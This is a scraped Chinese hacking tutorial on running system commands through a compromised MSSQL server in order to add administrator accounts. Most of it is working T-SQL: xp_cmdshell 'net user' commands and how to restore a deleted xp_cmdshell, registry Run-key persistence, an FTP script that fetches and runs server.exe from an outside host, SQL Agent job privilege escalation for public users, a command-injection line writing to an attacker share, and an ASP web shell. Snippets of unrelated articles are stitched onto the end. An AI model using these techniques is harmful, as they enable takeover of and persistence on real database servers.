如何在MSSQL执行命令

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'

人人都知道的办法,最大的好处是有回显,但是最怕

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

通过上面的T-SQL语句就可以把这个扩展储存删了

我们一般可以用

2k:

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

SQL97:

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

就还原了.

但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

Drop PROCEDURE sp_addextendedproc

if exists (select * from

dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

还原:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

/*

** Create the extended procedure mapping.

*/

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

呀呀写了这么多其实有个最简单的保护办法:

先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了

再把服务打开就可以了

2)看了上面的你就明白了xp_cmdshell最终是可以被删除的没别的办法了吗?

有写注册表三:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add

其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置

用写注册表的办法不好的地方是不但没有回显而且不能马上运行实不实用我也不知道了

3)

declare @s int

exec sp_oacreate "wscript.shell",@s out

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:\a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"

--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"

exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod在它们的作用下我们可以

调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样

马上看到结果真的不能吗看下面的:

declare @s int,@o int ,@f int,@str nvarchar(4000)

/*exec sp_oacreate "wscript.shell",@s out

exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/

exec sp_oacreate "scripting.filesystemobject", @o out

exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1

exec sp_oamethod @f, "readall",@str out

print @str

先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用

fso来读出来!很实用的

4)

use msdb; --这儿不要是master哟

exec sp_add_job @job_name='czy82';

exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt';

exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';

exec sp_start_job @job_name='czy82';

利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql后面的我们就可以

执行tsql语句了.

对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名

第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)

net start SQLSERVERAGENT

对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',

@enabled = 1,

@description = 'This will give a low privileged user Access to

xp_cmdshell',

@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

@step_name = 'Exec my sql',

@subsystem = 'TSQL',

@command = 'exec master..xp_execresultset N''select ''''exec

master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

@server_name = '你的SQL的服务器名'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

不要怀疑上面的代码我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以

才让我们可以以public执行xp_cmdshell

5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)

在安焦有文章:http://www.xfocus.NET/vuln/vul_view.PHP?vul_id=2968

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',

@enabled = 1,

@description = 'This will create a file called c:\sqlafc123.txt',

@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',

@step_name = 'SQLA

FC',

@subsystem = 'TSQL',

@command = 'select ''hello, this file was created by the SQL Agent.''',

@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',

@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

如果subsystem选的是:tsql在生成的文件的头部有如下内容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

----------------------------------------------

hello, this file was created by the SQL Agent.

(1 ?????)

所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员

命令的vbs文件到启动目录!

6)关于sp_makewebtask(可以写任意内容任意文件名的文件)

关于sp_MScopyscriptfile 看下面的例子

declare @command varchar(100)

declare @scripfile varchar(200)

set concat_null_yields_null off

select @command='dir c:\ > "\\attackerip\share\dir.txt"'

select @scripfile='c:\autoexec.bat > nul" ' + @command + ' rd "'

exec sp_MScopyscriptfile @scripfile ,''

这两个东东都还在测试试哟

让MSSQL的public用户得到一个本机的web shell:)

sp_makewebtask @outputfile='d:\sms\a.ASP',@charset=gb2312,

--@query='select '''''

--@query='select '''' '

@query='select ''

Set oscript = Server.CreateObject("wscript.SHELL")

Set oscriptNet = Server.CreateObject("wscript.NETWORK")

Set oFileSys = Server.CreateObject("scripting.FileSystemObject")

szCMD = Request.Form(".CMD")

If (szCMD <>"")Then

szTempFile = "C:\" & oFileSys.GetTempName()

Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)

时间: 2024-11-03 21:20:00

如何在MSSQL执行命令的相关文章

怎样在MSSQL执行命令

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsE

如何在Linux启动时自动执行命令或脚本

我一直很好奇,在启动 Linux 系统并登录的过程中到底发生了什么事情.按下开机键或启动一个虚拟机,你就启动了一系列事件,之后会进入到一个功能完备的系统中,有时,这个过程不到一分钟.当你注销或者关机时,也是这样. 更有意思的是,在系统启动以及用户登录或注销时,还可以让系统执行特定的操作. 本文,我们将探讨一下在 Linux 操作系统中实现这些目标的传统方法. 注意:我们假定使用的是 Bash 作为登录及注销的主 Shell.如果你使用的是其他 Shell,那么有些方法可能会无效.如果有其他的疑问

如何在 Linux 启动时自动执行命令或脚本

在启动时执行 Linux 脚本 有两种传统的方法可以实现在启动时执行命令或脚本: 方法 #1 - 使用 cron 任务 除了常用格式(分 / 时 / 日 / 月 / 周)外,cron 调度器还支持 @reboot 指令.这个指令后面的参数是脚本(启动时要执行的那个脚本)的绝对路径. 然而,这种方法需要注意两点: a) cron 守护进程必须处于运行状态(通常情况下都会运行),同时 b) 脚本或 crontab 文件必须包含需要的环境变量(如果有的话,参考 StackOverflow 获取更多详细

防止aspxspy木马列服务 iis信息 执行命令提权等操作_win服务器

环境:windows2003+iis6+.net2.0 处于安全考虑,对服务器安全进行设置.上传aspxspy测试. ASPXSPY探针 1.禁止aspxspy木马执行命令提权 和读取注册表 测试方法一: 先打开:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\config\web.config 之后找到 <trust level="Full" originUrl="" /> 改为 <trust leve

(C#)Windows Shell 编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令

原文(C#)Windows Shell 编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令 (本系列文章由柠檬的(lc_mtt)原创,转载请注明出处,谢谢-) 接上一节:(C#)Windows Shell 编程系列3 - 上下文菜单(iContextMenu)(一)右键菜单 上 一节说到如何弹出 IShellFolder 的上下文菜单,也就是 IContextMenu.有时候我们需要在这个菜单上面,加入一些属于自己的菜单项.举个例子,你打开资源管理器,查看左边目录树的

deluge-shell能处理在执行过程中产生新的console,并在console中执行命令的情况吗?

问题描述 shell能处理在执行过程中产生新的console,并在console中执行命令的情况吗? 在shell执行 deluge-console 命令时会单独打开一个console cli窗口,可在其中执行一系列自定义命令.这个过程我希望全部用shell来实现,请问shell能 处理这种执行过程中出现新的命令执行console的情况吗 解决方案 可以,启动一个cmd.exe

Win2k IIS 远程执行命令漏洞

iis|执行 涉及程序: 使用双字符处理的win2k系统+ iis 描述: Win2k IIS 可远程执行命令 详细: 由于某些双字节的 win2k 系统在处理某些特殊字符时与英文版本不同,通过这些特殊字符攻击者可绕过 IIS 的目录审计远程访问计算机上的任意文件或执行任意命令: http://www.linux.org.cn/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 这个漏洞是由编码引起的,%c0%af 与 %c1%9c 的编码是

ssh如何远程执行命令并自动退出

ssh命令格式如下: usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-L [bind_address:]port:host:hostport] [-l login_name] [-m mac_spec] [-O ctl

Linux系统中重复执行命令的方法小结

  普通的重复执行命令 实际操操作过程中,经常会遇到重复执行同一命令,以观察其结果变化的情况,以前经常是上下键加回车,或是Ctr+p然后回车的方式. 现在告诉大家一个好用的命令--watch,它可以全屏执行这个命令,并显示执行结果.例如: 代码如下: #watch uptime #watch -t uptime #watch -d -n 1 netstat -ntlp #watch -d 'ls -l | fgrep goface' //监测goface的文件 #watch -t -differ